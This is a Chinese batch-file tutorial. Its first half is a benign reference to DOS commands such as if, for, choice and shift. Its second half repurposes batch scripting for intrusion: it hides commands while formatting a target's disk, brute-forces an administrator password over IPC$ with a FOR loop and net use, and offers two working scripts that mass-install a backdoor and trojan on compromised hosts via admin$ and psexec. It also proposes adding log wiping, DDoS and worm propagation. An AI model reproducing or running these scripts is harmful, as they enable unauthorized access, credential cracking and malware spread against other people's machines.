指定让MS-DOS在屏幕上显示的正文。
-------------------
CALL
从一个批处理程序中调用另一个批处理程序，而不会引起第一个批处理的中止。
语法
CALL [drive:][path]filename [batch-parameters]
参数
[drive:][path]filename
指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。
batch-parameters
指定批处理程序所需的命令行信息。
-------------------------------
PAUSE
暂停批处理程序的执行并显示一条消息，提示用户按任意键继续执行。只能在批处
理程序中使用该命令。
语法
PAUSE
REM
在批处理文件或中加入注解。也可用REM命令来屏蔽命令（在
中也可以用分号 ; 代替REM命令，但在批处理文件中则不能替代）。
语法
REM [string]
参数
string
指定要屏蔽的命令或要包含的
注解。
=======================
例1：用edit编辑文件，输入下列内容后存盘为c:，执行该批处理文件后可实现：将根目录中所有文件写入 中，启动UCDOS，进入WPS等功能。
批处理文件的内容为: 命令注释：
@echo off 不显示后续命令行及当前命令行
dir c:*.* > 将c盘文件列表写入
call c: 调用ucdos
echo 你好 显示"你好"
pause 暂停,等待按键继续
rem 准备运行wps 注释：准备运行wps
cd ucdos 进入ucdos目录
wps 运行wps
批处理文件的参数
批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符"%"。
%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。
例2：C:根目录下有一批处理文件名为，内容为：
@echo off
format %1
如果执行C:>f a:
那么在执行时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a:
例3：C:根目录下一批处理文件名为，内容为:
@echo off
type %1
type %2
那么运行C:>t
%1 : 表示
%2 : 表示
于是上面的命令将顺序地显示和文件的内容。
==== 注 ===============
参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间 (例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如下:
初始状态, cmd 为命令名, 可以用 %0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过1次shift后, cmd 将无法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8
遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返复移动起始指针.
=================
特殊命令
if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。
一、if 是
条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:
1、if [not] "参数" == "字符串" 待执行的命令
参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。
例：if "%1"=="a" format a:
====
if 的命令行帮助中关于此点的描述为:
IF [NOT] string1==string2 command
在此有以下几点需要注意:
1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符
2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量
3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行
=============================
2、if [not] exist [路径]文件名 待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
如: if exist c: type c:
表示如果存在c:文件，则显示它的内容。
****** 注 ********
也可以使用以下的用法:
if exist command
device 是指DOS系统中已加载的设备, 在win98下通常有:
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: ...,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:
1. 该设备确实存在(由软件虚拟的设备除外)
2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)
3. 该设备已准备好(主要是指a: b: ..., , 等)
可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备
另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄.
==================================
3、if errorlevel <数字> 待执行的命令
很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。
如if errorlevel 2 goto x2
==== 注 ===========
返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式:
if errorlevel 1 set el=1
if errorlevel 2 set el=2
if errorlevel
3 set el=3
if errorlevel 4 set el=4
if errorlevel 5 set el=5
...
当然, 也可以使用以下循环来替代, 原理是一致的:
for %%e in (1 2 3 4 5 6 ) do if errorlevel %%e set el=%%e
更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章
出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码.
另外, 虽然 if errorlevel=<数字> command 也是有效的命令行, 但也只是 解释命令行时将 = 作为命令行切分符而忽略掉罢了
===========================
二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。
如:
goto end
:end
echo this is the end
标号用":字符串"来定义，标号所在行不被执行。
==== willsort 编注
label 常被译为 "标签" , 但是这并不具有广泛的约定性.
goto 与 : 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case 结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对照:
Batch C / Basic
goto&: goto&:
goto&:&if if{}&else{} / if&elseif&endif
goto&:&if... switch&case / select case
goto&:&if& function() / function(),sub()
==================================
三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。
注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。
choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）：
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述:
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"。
/N 在提示符中隐藏选项列表。提示前面的消息得到显示，
选项依旧处于启用状态。
/CS 允许选择分大小写的选项。在默认情况下，这个工具
是不分大小写的。
/T timeout 做出默认选择之前，暂停的秒数。可接受的值是从 0
到 9999。如果指定了 0，就不会有暂停，默认选项
会得到选择
。
/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选
项指定的一组选择中; 同时，必须用 /T 指定 nnnn。
/M text 指定提示之前要显示的消息。如果没有指定，工具只
显示提示。
/? 显示帮助消息。
注意:
ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选
择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择，
该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的
ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0
的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降
序排列。
示例:
CHOICE /?
CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。"
CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。"
==== willsort 编注 ===============================
我列出win98下choice的用法帮助, 已资区分
Waits for the user to choose one of a set of choices.
等待用户选择一组待选字符中的一个
CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]
/C[:]choices Specifies allowable keys. Default is YN
指定允许的按键(待选字符), 默认为YN
/N Do not display choices and ? at end of prompt string.
不显示提示字符串中的问号和待选字符
/S Treat choice keys as case sensitive.
处理待选字符时大小写敏感
/T[:]c,nn Default choice to c after nn seconds
在 nn 秒后默认选择 c
text Prompt string to display
要显示的提示字符串
ERRORLEVEL is set to offset of key user presses in choices.
ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值
如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"
屏幕上会显示：
确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]?
例：的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）:
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye
此批处理运行后，将显示"defrag,mem,end[D,M,E]?" ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。
四、for 循环命令，只要条件符合，它将多次执行同一命令。
语法：
对一组文件中的每一个文件执行某个特定命令。
FOR %%variable IN (set) DO
command [command-parameters]
%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。
例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
==== willsort 编注 =====================================================
需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环.
当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能.
========================================================================
批处理示例
1. IF-EXIST
1) 首先用记事本在C:建立一个批处理文件，文件内容如下：
@echo off
IF EXIST TYPE
IF NOT EXIST ECHO does not exist
然后运行它：
C:>
如果C:存在文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。
2) 接着再建立一个文件，内容如下：
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO %1 does not exist
执行:
C:>TEST2
该命令运行结果同上。
说明：
(1) IF EXIST 是用来测试文件是否存在的，格式为
IF EXIST [路径+文件名] 命令
(2) 文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，是实参。
==== willsort 编注 =====================================================
DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符.
========================================================================
3) 更进一步的，建立一个名为的文件，内容如下：
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
如果运行：
C:>TEST3 A B C
屏幕上会显示:
XIAO
TIAN
XIN
如果运行：
C:>TEST3 A B
屏幕上会显示
XIAO
TIAN
在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。
2、IF-ERRORLEVEL
建立，内容如下：
@ECHO OFF
XCOPY C: D:
IF ERRORLEVEL 1 ECHO
文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件
然后执行文件:
C:>TEST4
如果文件拷贝成功，屏幕就会显示"成功拷贝文件"，否则就会显示"文件拷贝失败"。
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。
因此下面的批处理文件是错误的：
@ECHO OFF
XCOPY C: D:
IF ERRORLEVEL 0 ECHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功，后面的：
未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
以下就是几个常用命令的返回值及其代表的意义：
backup
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止
diskcomp
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较
diskcopy
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作
format
0 格式化成功
3 用户
批处理文件制作实例精彩教程
批处理文件是无格式的文本文件，现在无盘清理基本都是靠它实现的 因为简单实用下面就是方便大家怎样创建批处理文件的
一简单批处理内部命令简介
命令
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample：@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)
命令
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。
语法：goto label （label是参数，指定所要转向的批处理程序中的行。）
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果这里的if、%1、%2你
不明白的话，先跳过去，后面会有详细的解释。）
@Rem check parameters if null show usage
:noparms
echo Usage: ServerIP PortNumber
goto end
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
命令
注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。
Rem Message
Sample：@Rem Here is the description.
命令
运行 Pause 命令时，将显示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
copy a:*.* d：//back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d://back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。
命令
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
命令
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数：
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时， 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。
命令
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample：
的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c://dos//defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执
行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。
命令
if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
如if exist edit
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。
命令
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I
如果命令扩展名被启用，下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符，则指定与目录名匹配，而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树，指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录，则使用当前
目录。如果集仅为一个单点(.)字符，则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者，如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前，每份文
件都已被打开、读取并经过处理。
处理包括读取文件，将其分成一行行的文字，然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in () do command
会分析 中的每一行，忽略以分号打头的那些行，将
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来
取得第二个符号，引用 %j 来取得第三个符号，引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名，您需要用双引号将文件名括起来。为了用这种方式来使
用双引号，您还需要使用 usebackq 选项，否则，双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明，%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号，只要不试图说明一个高于字母 z 或
Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，
用单引号将括号之间的 filenameset 括起来。这样，该字符
串会被当作一个文件中的一个单一输入行。
最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行，传递到一个子 ，其输出会被抓进
内存，并被当作文件分析。因此，以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外，FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号(")，扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义，或者没有找到文件，此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读，而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2：
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use ////ip//ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。
最主要的命令是一条：for /f i% in () do net use ////ip//ipc$ "i%" /u:"administrator"
用i%来表示admin的密码，在中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－
for /f i%% in () do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:// ，这样就ko了。
sample3：
你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。
主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in () do start call %%i %%j %%k
tokens的用法请参见上面的sample1，在这里它表示按顺序将中的内容传递给中的参数%i %j %k。
而无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。
delims= 表示中的内容是一空
格来分隔的。我想看到这里你也一定明白这里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。
代码雏形：
--------------- cut here then save as a batchfile(I call it ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in () do start call %%i %%j %%k
@goto end
:usage
@echo run this batch in dos just double-click it.
:end
--------------- cut here then save as a batchfile(I call it ) ---------------------------
------------------- cut here then save as a batchfile(I call it ) -----------------------------
@net use ////%1//ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy ////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>
@psexec ////%1 c://winnt//system32//
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it ) --------------------------------
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（）,需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
发布评论